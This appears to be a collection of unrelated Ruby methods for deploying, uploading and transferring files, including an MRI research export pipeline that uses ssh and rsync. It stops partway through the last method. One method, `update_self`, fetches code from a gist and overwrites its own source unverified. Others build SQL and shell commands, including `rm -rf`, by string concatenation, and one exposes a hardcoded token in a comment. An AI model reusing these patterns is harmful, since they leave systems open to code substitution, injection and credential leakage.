"def deploy\n\t\t\tdeployPlanString = @repo.get_file_content('.deploy_plan.xml',@params['commit']||@params['branch'])\n\t\t\txmlRoot = XmlUtils.get_xml_root(deployPlanString)\n\t\t\t# select plan\n\t\t\tplanNode = XmlUtils.single_node(xmlRoot,'plan')\n\t\t\t# for each deploy\n\t\t\tdeployNode = XmlUtils.single_node(planNode,'deploy')\n\t\t\t# create client for kind/method\n\t\t\t@site_client = DesignShell::SiteClient.new({\n\t\t\t\t:site_url => @params['site_url'],\n\t\t\t\t:site_username => @params['site_username'],\n\t\t\t\t:site_password => @params['site_password'],\n\t\t\t})\n\t\t\tds = @site_client.deploy_status\n\t\t\tsite_repo_url = ds && ds['repo_url'].to_nil\n\t\t\tsite_branch = ds && ds['branch'].to_nil\n\t\t\tsite_commit = ds && ds['commit'].to_nil\n\t\t\trepo_url = @repo.url\n\t\t\t# @todo must limit uploads to build folder\n\t\t\tfromPath = MiscUtils.ensure_slashes(XmlUtils.peek_node_value(deployNode,'fromPath','/'),false,true) # eg. /build/bigcommerce effectively selects a subfolder that should be debased\n\t\t\ttoPath = MiscUtils.ensure_slashes(XmlUtils.peek_node_value(deployNode,'toPath','/'),false,true) # eg. / effectively the new base for these files\n\t\t\tif site_repo_url && site_repo_url==repo_url && site_branch && site_commit\n\t\t\t\t# incremental\n\t\t\t\tchanges = @repo.changesBetweenCommits(site_commit,@repo.head.to_s)\n\t\t\t\tuploads,deletes = convertChangesToUploadsDeletes(changes)\n\t\t\t\tuploads.delete_if { |fp| !fp.begins_with?(fromPath) }\n\t\t\t\tdeletes.delete_if { |fp| !fp.begins_with?(fromPath) }\n\t\t\t\t@site_client.delete_files(deletes,fromPath,toPath)\n\t\t\t\t@site_client.upload_files(@repo.path,uploads,fromPath,toPath)\n\t\t\t\t@site_client.deploy_status = {\n\t\t\t\t\t:repo_url => @repo.url,\n\t\t\t\t\t:branch => @repo.branch,\n\t\t\t\t\t:commit => @repo.head.to_s,\n\t\t\t\t :fromPath => fromPath,\n\t\t\t\t :toPath => toPath\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t# complete\n\t\t\t\t# for now, just deploy all files in wd, creating folders as necessary\n\t\t\t\t# later, delete remote files not in wd except for eg. .deploy-status.xml and perhaps upload folders\n\t\t\t\tuploads = MiscUtils.recursive_file_list(@repo.path,false)\n\t\t\t\tuploads.delete_if do |fp|\n\t\t\t\t\t!fp.begins_with?(fromPath) || fp.begins_with?('.git/')\n\t\t\t\tend\n\t\t\t\t@site_client.upload_files(@repo.path,uploads,fromPath,toPath)\n\t\t\t\t@site_client.deploy_status = {\n\t\t\t\t\t:repo_url => @repo.url,\n\t\t\t\t\t:branch => @repo.branch,\n\t\t\t\t\t:commit => @repo.head.to_s,\n\t\t\t\t\t:fromPath => fromPath,\n\t\t :toPath => toPath\n\t\t\t\t}\n\t\t\tend\n\t\tend",
"def upload\n return if model.skip_conversion\n\n conversion_temp_path = self.class::CONVERSION_CLASS.temp_path(model_id, original_filename)\n\n FileUtils.mkdir_p File.dirname(conversion_temp_path)\n\n # FIXME Test environment doesn't use delayed_job, so parallel execution breaks tests\n Rails.env.test? ? upload_copy_and_job(conversion_temp_path) : Thread.new(&ThreadProc.new { upload_copy_and_job(conversion_temp_path) })\n end",
"def transfer!\n remote_path = remote_path_for(@package)\n\n connection.sync_clock\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to bucket '#{ bucket }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n bucket, File.join(remote_path, remote_file), file\n )\n end\n end\n end",
"def store_stable_asset(payload, directory)\n if(config.get(:init, :stable))\n ['.batali', 'Gemfile', 'Gemfile.lock'].each do |file|\n file_path = File.join(directory, file)\n if(File.exists?(file_path))\n debug \"Removing file from infra directory: #{file}\"\n FileUtils.rm(file_path)\n end\n end\n if(File.exists?(File.join(directory, 'batali.manifest')))\n debug 'Installing cookbooks from Batali manifest'\n Dir.chdir(directory) do\n Batali::Command::Install.new({}, []).execute!\n end\n end\n debug \"Starting stable asset upload for #{payload[:id]}\"\n bucket = stacks_api.api_for(:storage).buckets.get(config.get(:orchestration, :bucket_name))\n stable_name = name_for(payload, 'stable.zip')\n file = bucket.files.get(stable_name) || bucket.files.build(:name => stable_name)\n file.body = asset_store.pack(directory)\n file.save\n debug \"Completed stable asset upload for #{payload[:id]}\"\n end\n end",
"def upload_simple\r\n \r\n end",
"def run_antuano_20130916_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"antuano_20130916_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('antuano_20130916_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting antuano_20130916_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n v_computer = \"kanga\"\n \n v_target_dir = \"/home/panda_user/upload_antuano_20130916\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI']\n v_series_description_category_id_array = [19, 17]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_antuano_20130916\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag != 'N' or status_flag is NULL)\n and resting_fmri_flag ='Y'\n and t1_volumetric_flag = 'Y' \"\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (26,24))\"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/unknown/\"+ v_subjectid+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n end\n \n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@\"+v_computer+\".dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set -- not practical - not using auto move\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper -- leaving as panda_admin\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.antuano_target_path\n \n # problem that files are on \"+v_computer+\", but panda running from nelson\n # need to ssh to \"+v_computer+\" as pand_admin, then sftp\n # v_source = \"panda_user@\"+v_computer+\".dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n \n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n \n# puts \"aaaaaa v_source = \"+v_source\n# puts \"bbbbbb v_target = \"+v_target\n# Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n# sftp.upload!(v_source, v_target)\n# end\n# \n \n sql_done = \"update cg_antuano_20130916 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish antuano_20130916_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n end",
"def update_self\n updated_version = open('https://gist.github.com/raw/857843/C.rb').read\n File.open(__FILE__, 'w+') do |f|\n f.puts updated_version\n end\nend",
"def perform(repo)\n repo.update_catalog_metadata\n repo.add_preservation_and_mets_xml\n repo.delete_clone\n repo.create_iiif_manifest if Settings.bulk_import.create_iiif_manifest\n repo.publish if repo.published\n end",
"def upload_recipe\n # Write the raw recipe contents to a tempfile and upload\n Tempfile.open([\"vagrant-chef-apply\", \".rb\"]) do |f|\n f.binmode\n f.write(config.recipe)\n f.fsync\n f.close\n\n # Upload the tempfile to the guest\n @machine.communicate.upload(f.path, target_recipe_path)\n end\n end",
"def upload_code_to_codeporting\r\n puts \"Now adding new project to code porting\"\r\n\r\n\tto_url = \"https://apps.codeporting.com/csharp2java/v0/newproject\"\r\n\tboundary = \"------------------------------8ceeb9a4afbe0e1\"\r\n\t#$token = \"8f8112d5-50b5-4c10-83e9-1e1d7c33f848\"\r\n\tparams = {\r\n\t\t\"token\" => \"#{$token}\",\r\n\t\t\"Test\" => FileUploadIO.new(\"#{$repo_key}.zip\", \"application/zip\")\r\n\t} \r\n\tmultipart_post = MultiPart::Post.new(params) # MultiPart::Post.new(params, some_extra_headers)\r\n\tres, dat = multipart_post.submit(\"https://apps.codeporting.com/csharp2java/v0/newproject\") # multipart_post.submit(to_url, query_string)\r\n\t#puts res\r\n\r\n\tdoc = REXML::Document.new(dat)\r\n\tretVal = \"\"\r\n\tdoc.each_element('//return') { |item| \r\n\t\tretVal = item.attributes['success']\r\n\t}\r\n\r\n\tif (retVal == \"True\")\r\n\t\tport_code\r\n\tend\r\n end",
"def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end",
"def start_copy_to_s3_job\n return unless storage.automatic_transcode?\n\n if !has_file?\n logger.debug \"detect_derivatives audio_file #{self.id} not yet saved to archive.org\"\n return\n end\n versions=[\"mp3\", \"ogg\"]\n versions.each do |version|\n # does a task already exist?\n if task = (tasks.copy_to_s3.valid.where(identifier: \"copy_#{version}_to_s3\").last || tasks.select { |t| t.identifier == \"copy_#{version}_to_s3\" && t.cancelled? }.pop)\n logger.warn \"copy_#{version}_to_s3 task #{task.id} already exists for audio_file #{self.id}\"\n next\n end\n\n s3_storage = StorageConfiguration.popup_storage\n # must save so task points to actual db record\n s3_storage.save!\n\n orig = self.process_file_url(version)\n dest = self.destination({ storage: s3_storage, version: version })\n\n # protocol-free links are valid for browsers but not for us\n if orig.match('^//')\n orig = 'http:' + orig\n end\n\n task = Tasks::CopyToS3Task.new(\n identifier: \"copy_#{version}_to_s3\",\n storage_id: s3_storage.id,\n extras: {\n 'user_id' => self.user_id,\n 'original' => orig,\n 'destination' => dest\n }\n )\n self.tasks << task\n end\n end",
"def upload_thread\n Thread.new do\n file = nil\n until @upload_list.empty? && @download_finished\n sleep 0.1\n @upload_mutex.synchronize do\n file = @upload_list.pop\n end\n next if file.nil?\n @destination_container.files.create(file)\n end\n end\n end",
"def create_or_update_previous_runs!; end",
"def create_or_update_previous_runs!; end",
"def upload_file\n #TODO\n end",
"def upload_to_flickr!\n # download image to tmp/\n photo_path = download_from_instagram\n @log.debug(\"Path is #{photo_path}\")\n # upload to flickr\n flickr.access_token = @params['flickr_access_token']\n flickr.access_secret = @params['flickr_access_secret']\n response = flickr.upload_photo photo_path, :title => @payload['title'], :description => @payload['caption'] \n @log.debug(\"Flickr Response = #{response}\")\n # push it into the Redii and delete local version.\n add_to_storage\n File.delete(photo_path)\n end",
"def fetch\n log.info(log_key) { \"Copying from `#{source_path}'\" }\n\n create_required_directories\n FileSyncer.sync(source_path, project_dir, source_options)\n # Reset target shasum on every fetch\n @target_shasum = nil\n target_shasum\n end",
"def deploy()\n release = create_release_name()\n\n write_deploy_version_file()\n\n DirectorySync.sync(server, from_dir, cache_dir, server[:deployer])\n copy_cache_dir_to_release(release)\n\n symlink_shared_directories(release)\n\n send_scripts()\n run_script(:before, release)\n symlink_release_dir(release)\n run_script(:after, release)\n end",
"def perform\n upload_file\n end",
"def transfer\n\t\tattributes = super\n\t\tself.last_backup_date = Date.today\n\t\tset_next_backup_date\n\t\tself.save\n\t\tlog_transfer(attributes)\n\tend",
"def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend",
"def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend",
"def run_fjell_20140506_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"fjell_20140506_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('fjell_20140506_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting fjell_20140506_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_computer = \"kanga\"\n t = Time.now\n v_date_YM = t.strftime(\"%Y%m\") # just making monthly logs, prepend\n v_log_name =v_process_name+\"_\"+v_date_YM\n v_log_path =v_log_base+v_log_name\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_fjell_20140506\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI', 'T2','T2_Flair','DTI']\n v_series_description_category_id_array = [19, 17, 20, 23,4]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_fjell_20140507\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag = 'Y' or status_flag is NULL) \n and export_id is not null\" # and subjectid in ('mrt00097', 'pdt00034','pdt00035')\" # sending ppt with incomplete sets\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment_warning +\"; \"+v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select distinct DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (37) and scvg.scan_procedure_id in (\"+r[2].to_s+\")) \"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI','T2','T2_Flair','T2+Flair') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n # for dual enrollments need ids path to get to unknown path/nii\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_actual_scan_procedure = v_dir_array[4]\n v_subjectid_date_actual =v_subjectid\n if v_dir_array[5] == \"mri\"\n v_subjectid_date_actual = v_dir_array[6]\n else\n v_subjectid_date_actual = v_dir_array[5] \n end\n v_subject_date_actual_array = v_subjectid_date_actual.split(\"_\")\n v_subjectid_actual = v_subject_date_actual_array[0]\n\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = v_actual_scan_procedure # ScanProcedure.find(r[2]).codename\n # check if nii file exists\n if !Dir.glob(v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\").empty?\n puts \"FOUND \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii \"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n # check if copied nii file is a directory -- found 2 exapmles\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'ls -dl \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n puts v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n v_return = stdout.read 1024 \n v_return_array = v_return.split(' ')\n if v_return_array[1] == \"2\"\n puts \" its a DIRECTORY!!!!!\"\n @schedulerun.comment = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n v_comment_warning = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii;\" +v_comment_warning\n end\n\n end\n stdin.close\n stdout.close\n stderr.close\n\n\n else\n # nii not exists\n @schedulerun.comment = \"MISSING \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n puts \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\"\n v_comment_warning = \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\" +v_comment_warning\n end \n \n end\n\n # get dti raw dicom for this subjectid/sp\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('DTI') \n and image_datasets.series_description != 'DTI whole brain 2mm FATSAT ASSET'\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_cnt = 1\n v_dir_target = \"\"\n v_scan_desc_type_array = []\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n puts \"aaaaaa v_dir_target = \"+v_dir_target\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_tmp = \"/tmp/\"+v_dir_target \n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n v_call = \"mise \"+v_path+\" \"+v_tmp \n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/adrc_dti/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n\n if v_scan_desc_type_array.size > 0 \nputs \"dddddd in ids dicoms\"\nputs \" /tmp dir = \"+\"/tmp/\"+v_dir_target+\"/*/*.* 0. 1. 2. *.dcm\" \n # TURN INTO A LOOP \n v_dicom_field_array =['0010,0030','0010,0010','0008,0050','0008,1030','0010,0020','0040,0254','0008,0080','0008,1010','0009,1002','0009,1030','0018,1000',\n '0025,101A','0040,0242','0040,0243']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name','0008,0050'=>'Accession Number',\n '0008,1030'=>'Study Description', '0010,0020'=>'Patient ID','0040,0254'=>'Performed Proc Step Desc',\n '0008,0080'=>'Institution Name','0008,1010'=>'Station Name','0009,1002'=>'Private',\n '0009,1030'=>'Private','0018,1000'=>'Device Serial Number','0025,101A'=>'Private',\n '0040,0242'=>'Performed Station Name','0040,0243'=>'Performed Location'}\n\n\n # v_dicom_field_array =['0010,0030']\n 